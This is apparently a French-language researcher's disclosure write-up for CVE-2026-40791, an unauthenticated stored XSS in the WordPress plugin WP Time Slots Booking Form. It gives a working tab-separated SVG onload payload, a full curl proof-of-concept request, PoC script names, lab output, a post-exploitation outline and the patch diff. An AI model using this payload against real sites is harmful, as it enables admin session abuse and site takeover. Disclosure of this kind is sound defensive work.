
CVE-2026-40791: XSS stocké non authentifié dans WP Time Slots Booking Form <= 1.2.46
J'ai trouvé une XSS stockée non authentifiée dans le plugin WordPress WP Time Slots Booking Form. Une soumission de réservation publique contrôle une partie de la valeur du créneau horaire stocké. Le plugin imprime ensuite cette valeur dans la page Booking Orders de l'administrateur sans l'échapper.
L'astuce est simple : le plugin divise la chaîne de rendez-vous soumise sur les espaces littéraux, mais HTML considère une tabulation comme un espace blanc entre un nom de balise et un attribut. Ainsi, 8:<svg[TAB]onload=...> survit à l'analyseur du plugin en tant que valeur de créneau, puis devient un vrai balisage lorsque l'administrateur ouvre la liste des réservations.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Versions affectées | <= 1.2.46 |
| Version corrigée | 1.2.47 |
| Classe de bug | XSS stockée non authentifiée (CWE-79) |
| Impact | Réservation publique -> JavaScript dans la session admin wp-admin |
| CVSS | 7.2 High (Wordfence), 7.1 (Patchstack) |
| Crédit | Daniel Wade |
Le formulaire de réservation public accepte ce champ :
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
Le plugin l'analyse comme ceci :
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Comme le séparateur est une tabulation, non un espace littéral, item_split[1] devient :
8:<svg onload=alert(document.cookie)>
Cette valeur de créneau est sérialisée dans la réservation. Lorsqu'un administrateur ouvre Booking Orders, la version 1.2.46 l'affiche ici :
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Aucun échappement. Le onload du SVG s'exécute dans la page admin.
Il ne s'agit pas simplement de "puis-je lire le cookie admin ?" Les cookies d'authentification WordPress modernes sont normalement HttpOnly, donc document.cookie peut ne pas exposer le vrai cookie wordpress_sec_*. L'important est que le script s'exécute dans une page authentifiée d'origine admin. Il peut récupérer des pages admin de même origine, lire les nonces exposés et envoyer des requêtes admin authentifiées depuis le navigateur de la victime.
Le flux vulnérable :
unauthenticated POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Booking Orders appointment badge
-> unescaped HTML output
L'analyseur suppose que le créneau horaire n'est que du texte. Ce n'est pas le cas. Il s'agit d'une entrée attaquant qui aboutit plus tard dans un contexte HTML.
Le sink vulnérable se trouve dans cp-admin-int-message-list.inc.php :
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Ce phpcs:ignore WordPress.Security.EscapeOutput résume tout en une ligne. L'avertissement d'échappement a été supprimé là où des données de réservation contrôlées par l'attaquant étaient imprimées.
La forme de la charge utile :
8:<svg[TAB]onload=alert(document.cookie)>
Pourquoi ça marche :
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" reste un token
Analyseur HTML du navigateur
<svg<TAB>onload=...> devient <svg onload=...>
L'analyseur de créneau obtient la valeur attendue. Le navigateur obtient la balise qu'il sait exécuter.
PowerShell :
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash :
./poc/reproduce.sh "http://127.0.0.1" 2
Curl manuel :
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Résultat attendu :
HTTP/1.1 302 Found
Ensuite, connectez-vous en tant qu'administrateur et ouvrez :
WP Time Slots Booking Form -> Booking Orders
La charge utile s'exécute lorsque la ligne de réservation stockée est rendue.
J'ai validé la chaîne complète dans un laboratoire WordPress local jetable :
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA désactivé sur le formulaire 1
Page publique avec [CP_TIME_SLOTS_BOOKING id="1"]
Le PoC PowerShell s'est soumis proprement :
HTTP status: 302
La charge utile a atterri dans wp_cptslotsbk_messages.posted_data :
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Chrome sans tête s'est ensuite connecté en tant qu'administrateur, a ouvert Booking Orders et a vu le marqueur défini par le gestionnaire SVG stocké :
ADMIN_XSS_EXECUTED
J'ai également testé les mêmes lignes malveillantes stockées après avoir remplacé le plugin par 1.2.47. La page admin a rendu la charge utile sous forme de texte échappé :
04/15/2026 8:<svg onload=...>
Aucun marqueur déclenché :
PATCHED_NO_XSS_EXECUTION
Il y a aussi un petit test de validation de rendu local :
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Il vérifie les deux parties mécaniques sans une installation WordPress complète :
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
L'attaquant n'a pas besoin de compte. L'attaquant soumet une réservation publique et attend qu'un administrateur consulte Booking Orders.
Une fois que l'admin consulte cette page, le JavaScript de l'attaquant s'exécute dans l'origine WordPress de l'administrateur. Un véritable attaquant ne s'arrêterait généralement pas à alert(document.cookie). Il utiliserait le navigateur de l'admin comme l'admin :
récupérer les pages admin
-> lire les nonces depuis le HTML
-> soumettre des POST admin authentifiés
-> modifier l'état du site
Selon les capacités de l'administrateur et la configuration du site, cela peut signifier créer des utilisateurs, modifier les paramètres du plugin, changer les destinations de notification, lire les données de réservation/client, ou escalader vers une prise de contrôle complète du site via les fonctionnalités du plugin/thème.
La version 1.2.47 échappe le créneau stocké avant de construire le badge admin :
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Cela corrige le sink. Assainir plus tôt serait également raisonnable, mais la frontière de sécurité est le contexte de sortie HTML dans la page admin.
poc/
reproduce.ps1 # PowerShell unauthenticated booking submitter
reproduce.sh # Bash/curl unauthenticated booking submitter
lab/
render-check.html # Minimal vulnerable render fixture
validate-render.ps1 # Parser + browser execution sanity check
README.md
| Date | Événement |
|---|---|
| 2026-03-24 | Signalé à Patchstack |
| 2026-04-13 | Correctif validé |
| 2026-04-23 |
Avertissement : Ce PoC est publié à des fins de recherche défensive et de vérification après disponibilité du correctif. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
CVE-2026-40791 - Corrigé dans WP Time Slots Booking Form 1.2.47. Versions affectées : 1.2.46 et antérieures.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| Publication de l'avis Wordfence |
| 2026-04-24 | Publication de l'avis Patchstack |
| 2026-04-30 | Dernière mise à jour de l'entrée Wordfence |